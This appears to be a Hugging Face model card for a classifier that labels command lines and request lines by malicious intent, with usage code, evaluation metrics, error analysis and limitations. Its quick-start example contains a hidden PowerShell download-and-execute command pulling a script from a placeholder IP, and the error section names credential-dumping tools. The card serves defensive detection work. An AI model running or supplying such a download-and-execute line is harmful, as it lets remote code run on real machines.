Text Classification
Transformers
Safetensors
English
roberta
cybersecurity
security
command-line
powershell
bash
sql-injection
mitre-attack
threat-detection
Eval Results (legacy)
text-embeddings-inference
Instructions to use DaveyD347/script-intent-distilroberta with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use DaveyD347/script-intent-distilroberta with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-classification", model="DaveyD347/script-intent-distilroberta")# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForSequenceClassification tokenizer = AutoTokenizer.from_pretrained("DaveyD347/script-intent-distilroberta") model = AutoModelForSequenceClassification.from_pretrained("DaveyD347/script-intent-distilroberta", device_map="auto") - Notebooks
- Google Colab
- Kaggle
|
Download README.md from DaveyD347/script-intent-distilroberta: direct link, hf CLI and curl.
- Browser
- Download file 7.65 kB
-
https://huggingface.co/DaveyD347/script-intent-distilroberta/resolve/main/README.md
- Command line
-
hf download hf://DaveyD347/script-intent-distilroberta/README.md
-
curl -L -o README.md https://huggingface.co/DaveyD347/script-intent-distilroberta/resolve/main/README.md
7.65 kB
| license: apache-2.0 | |
| language: | |
| - en | |
| library_name: transformers | |
| pipeline_tag: text-classification | |
| base_model: distilbert/distilroberta-base | |
| datasets: | |
| - DaveyD347/script-intent-commands | |
| tags: | |
| - cybersecurity | |
| - security | |
| - command-line | |
| - powershell | |
| - bash | |
| - sql-injection | |
| - mitre-attack | |
| - threat-detection | |
| metrics: | |
| - accuracy | |
| - f1 | |
| - precision | |
| - recall | |
| model-index: | |
| - name: script-intent-distilroberta | |
| results: | |
| - task: | |
| type: text-classification | |
| name: Script intent classification | |
| dataset: | |
| name: Script & Payload Intent (template-disjoint test split) | |
| type: DaveyD347/script-intent-commands | |
| split: test | |
| metrics: | |
| - type: accuracy | |
| value: 0.780 | |
| - type: f1 | |
| name: Macro F1 | |
| value: 0.778 | |
| - task: | |
| type: text-classification | |
| name: Script intent classification | |
| dataset: | |
| name: Script & Payload Intent (hand-written challenge set) | |
| type: DaveyD347/script-intent-commands | |
| config: challenge | |
| split: test | |
| metrics: | |
| - type: accuracy | |
| value: 0.753 | |
| - type: f1 | |
| name: Macro F1 | |
| value: 0.756 | |
| # Script Intent Classifier (DistilRoBERTa) | |
| Reads one command line, script fragment, SQL query or HTTP request line and predicts the **intent** | |
| behind it: benign, reconnaissance, credential harvesting, reverse shell, persistence, download and | |
| execute, or SQL injection. It covers bash, PowerShell, Windows `cmd`, SQL and URL-encoded request | |
| lines. | |
| It is meant as a **triage signal** for process command-line telemetry, shell history, EDR exports and | |
| WAF logs: rank what an analyst looks at first and say *why* it looks bad. It is not a standalone | |
| blocking control. | |
| ## Quick start | |
| ```python | |
| from transformers import pipeline | |
| clf = pipeline("text-classification", model="DaveyD347/script-intent-distilroberta", top_k=3) | |
| clf("powershell -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://203.0.113.5/a.ps1')\"") | |
| # [{'label': 'download_execute', ...}, ...] | |
| clf("sudo systemctl restart nginx") | |
| # [{'label': 'benign', ...}, ...] | |
| ``` | |
| ## Labels | |
| | id | Label | Covers | | |
| |---|---|---| | |
| | 0 | `benign` | Routine admin, dev and DBA work, including look-alikes | | |
| | 1 | `reconnaissance` | Host, user, network, privilege, cloud and Active Directory discovery | | |
| | 2 | `credential_harvesting` | LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting | | |
| | 3 | `reverse_shell` | Interactive callbacks to a listener | | |
| | 4 | `persistence` | Cron, systemd, Run keys, scheduled tasks, WMI, SSH keys, rogue accounts, web shells | | |
| | 5 | `download_execute` | Fetching a remote payload and running it | | |
| | 6 | `sql_injection` | Injection payloads in parameters, queries and request lines | | |
| ## Evaluation | |
| Two evaluation sets, both unseen during training: | |
| - **Template-disjoint test split** (3,360 rows, 108 templates). The dataset is generated from 540 | |
| templates, and no test template appears in training. This measures generalization to *new command | |
| patterns*. A random row-level split would report around 99% and mean very little. | |
| - **Hand-written challenge set** (73 rows), written after the templates were final, using tools and | |
| phrasings that aren't in any template. It is small, so each row moves accuracy by about 1.4 points. | |
| ### Headline numbers | |
| | Metric | Test split | Challenge set | | |
| |---|---|---| | |
| | Accuracy (7-way) | **78.0%** | **75.3%** | | |
| | Macro F1 | **0.778** | **0.756** | | |
| | Malicious detection rate (any malicious label vs benign) | 94.1% | 80.0% | | |
| | False negative rate (malicious called benign) | 5.9% | 20.0% | | |
| | False positive rate (benign called malicious) | 22.5% | 8.7% | | |
| ### Per class (test split, n = 480 each) | |
| | Label | Precision | Recall | F1 | | |
| |---|---|---|---| | |
| | benign | 0.685 | 0.775 | 0.727 | | |
| | reconnaissance | 0.769 | 0.637 | 0.697 | | |
| | credential_harvesting | 0.766 | 0.723 | 0.744 | | |
| | reverse_shell | 0.686 | 0.683 | 0.685 | | |
| | persistence | 0.780 | 0.754 | 0.767 | | |
| | download_execute | 0.903 | 0.890 | 0.896 | | |
| | sql_injection | 0.871 | 1.000 | 0.931 | | |
| By language (test accuracy): `cmd` 91.9%, `sql` 86.7%, `powershell` 72.3%, `bash` 70.0%. | |
|  | |
| Full metrics, confusion matrices and misclassified examples are in [`eval/metrics.json`](eval/metrics.json). | |
| ### What the errors look like | |
| - **Benign versus reconnaissance and credential access** is the hardest boundary. `ps aux`, `whoami`, | |
| `Get-WinEvent` or `chmod 600 /etc/ssl/private/*.key` look like discovery or secret handling, and | |
| without context (who ran it, when, from which parent process) the text alone is ambiguous. This drives | |
| most of the 22.5% test false positive rate. | |
| - **Reverse shell versus persistence and download-execute.** A cron job or scheduled task whose payload | |
| is a reverse shell or a stager is labeled `persistence` (its primary intent), and the model often picks | |
| the payload instead. From a triage standpoint both answers are "malicious", which is why the binary | |
| detection rate is much higher than 7-way accuracy. | |
| - **Unknown tool names.** Commands whose only signal is the name of a tool the model never saw | |
| (`mimipenguin`, `trufflehog`, `SharpHound.exe`) are often called benign. The model learns syntax and | |
| context, not a tool blocklist; pair it with one. | |
| ## Training | |
| | | | | |
| |---|---| | |
| | Base model | `distilbert/distilroberta-base` (82M parameters) | | |
| | Data | [`DaveyD347/script-intent-commands`](https://huggingface.co/datasets/DaveyD347/script-intent-commands), 11,760 training rows from 377 templates | | |
| | Epochs | 2 (best validation macro F1 at epoch 2: 0.830) | | |
| | Learning rate | 5e-5, linear decay, 6% warmup, weight decay 0.01 | | |
| | Batch size | 32 | | |
| | Max length | 128 tokens | | |
| | Hardware | 4 CPU cores, about 36 minutes | | |
| | Seed | 42 | | |
| Training code (`train.py`), the dataset generator (`generate_dataset.py`, `templates.py`) and the | |
| evaluation script (`evaluate.py`) are in the dataset repository under `src/`. | |
| ## Intended use | |
| - Ranking and enriching command-line telemetry for analyst review | |
| - Explaining alerts with an intent label and a MITRE ATT&CK-aligned category | |
| - Teaching and prototyping detection engineering with transformers | |
| ## Out of scope and limitations | |
| - **Not a blocking control.** At a 22.5% false positive rate on hard benign templates, blocking on this | |
| model alone would break legitimate admin work. | |
| - **Trained on synthetic data.** Real telemetry is longer and messier. Expect lower accuracy in | |
| production, and validate on your own logs before relying on it. | |
| - **Single command, single label.** No process tree, user, host or timing context, and no multi-label | |
| output for commands that chain intents. | |
| - **Shallow obfuscation coverage.** Heavily obfuscated PowerShell (Invoke-Obfuscation, string splitting, | |
| environment-variable tricks) and base64 payloads are only partly covered. The model does not decode | |
| base64. | |
| - **Truncation.** Inputs over 128 tokens are truncated, so long scripts should be split into lines or | |
| statements first. | |
| - **Adversarial robustness was not tested.** An attacker who knows the model is in use can likely | |
| rephrase commands to evade it. | |
| ## Ethical considerations | |
| The model and dataset describe publicly documented attack techniques at the level defenders already | |
| write detection rules for. Neither contains working exploits, binaries, real infrastructure or real | |
| credentials. The intended use is defensive. | |
| ## Citation | |
| ```bibtex | |
| @misc{script_intent_distilroberta_2026, | |
| title = {Script Intent Classifier (DistilRoBERTa)}, | |
| author = {DaveyD347}, | |
| year = {2026}, | |
| url = {https://huggingface.co/DaveyD347/script-intent-distilroberta} | |
| } | |
| ``` | |